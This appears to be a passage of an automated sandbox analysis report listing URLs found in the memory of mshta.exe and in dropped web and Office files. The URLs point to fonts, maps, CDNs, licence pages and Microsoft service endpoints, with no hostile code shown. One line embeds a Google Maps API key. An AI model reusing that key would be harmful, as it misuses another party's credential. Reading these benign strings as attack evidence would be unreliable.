Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot(:Z
Source: mshta.exe, 0000000A.00000003.495628372.00000000062F3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.474546722.00000000062CD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.474517734.00000000062CD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, css[3].css.10.dr, css[3].css0.10.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot:.55;-ms-opacity:.55;0.6::m
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eotC:
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://g.co/dev/maps-no-account
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, jquery.mobilemenu[1].js.10.dr	String found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.10.dr	String found in binary or memory: http://info.template-help.com/help/
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, jquery.mobilemenu[1].js.10.dr	String found in binary or memory: http://jquery.com
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm.googleapis.com/mz?v=928
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm0.googleapis.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm0.googleapis.com/kh?v=928
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm1.googleapis.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://khm1.googleapis.com/kh?v=928
Source: mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://kyruus.com
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.googleapis.com
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.googleapis.com/maps-api-v3/api/js/49/12
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_02C:
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.googleapis.com/maps/vt
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.gstatic.com/mapfiles/
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://maps.gstatic.com/maps-api-v3/api/images/
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://mt.googleapis.com/maps/vt/icon
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/6
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.18
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1kC:
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1
Source: mshta.exe, 0000000A.00000003.551691850.000000000637A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ns.ad
Source: mshta.exe, 0000000A.00000003.551691850.000000000637A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ns.adbe.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: mshta.exe, 0000000A.00000002.705359508.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.559230293.000000000C0FF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.558600093.000000000C0EF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, jquery.jplayer.min[1].js.10.dr, animate-logo[1].css.10.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: mshta.exe, 0000000A.00000002.711862456.000000000B090000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554780707.000000000C0BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.706530913.0000000006BFF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 0000000A.00000003.516872123.000000000C07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scripts.sil.org/OFLVersion
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://static.panoramio.com.storage.googleapis.com/photos/
Source: mshta.exe, 0000000A.00000003.516286879.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/
Source: mshta.exe, 0000000A.00000003.516286879.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/M7
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_b
Source: mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.js?ver=1.3
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517330404.000000000C018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpgDy
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517330404.000000000C018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpgZ
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.707090329.0000000006EA0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit25
Source: mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2pyg
Source: mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2v
Source: mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://twitter.com/byscuits
Source: mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://twitter.com/fontawesome.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: responsive[1].css.10.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp, bootstrap.min[1].js.10.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 0000000A.00000003.474532753.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.475009943.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.474552056.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://www.broofa.com
Source: mshta.exe, 0000000A.00000003.559230293.000000000C0FF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.558600093.000000000C0EF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.714121480.000000000C268000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564675315.000000000C266000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, jplayer.playlist.min[1].js.10.dr	String found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.10.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: http://www.google.com/maps/preview/log204
Source: mshta.exe, 0000000A.00000002.705359508.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.559230293.000000000C0FF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.558600093.000000000C0EF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.714121480.000000000C268000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564675315.000000000C266000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, jquery.jplayer.min[1].js.10.dr, jplayer.playlist.min[1].js.10.dr	String found in binary or memory: http://www.jplayer.org
Source: mshta.exe, 0000000A.00000002.711627385.000000000B010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.macromedia.com
Source: mshta.exe, 0000000A.00000003.562336575.000000000C0E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713813587.000000000C0EC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.dr	String found in binary or memory: http://www.mathias-bank.de)
Source: mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705082305.0000000006956000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.557484334.0000000006956000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr, camera.min[1].js.10.dr, jplayer.playlist.min[1].js.10.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.10.dr	String found in binary or memory: http://www.woothemes.com/flexslider/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.aadrm.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.cortana.ai
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.office.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.onedrive.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586504711.0000000007675000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705150781.0000000006986000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586568822.000000000767A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586430183.0000000007672000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586539012.0000000007677000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://app.vzaar.com/videos/:id
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://augloop.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://cbks0.googleapis.com/cbk?
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://cbks1.googleapis.com/cbk?
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cdn.entity.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cortana.ai
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cortana.ai/api
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://cr.office.com
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: mshta.exe, 0000000A.00000003.560610988.0000000006A1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705438644.0000000006A27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562424363.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.o
Source: js[2].js.10.dr	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: mshta.exe, 0000000A.00000002.702858290.0000000004DFA000.00000004.00000010.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.714121480.000000000C268000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564675315.000000000C266000.00000004.00000800.00020000.00000000.sdmp, scripts[1].js.10.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: js[2].js.10.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: mshta.exe, 0000000A.00000003.474532753.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.475009943.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.474552056.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
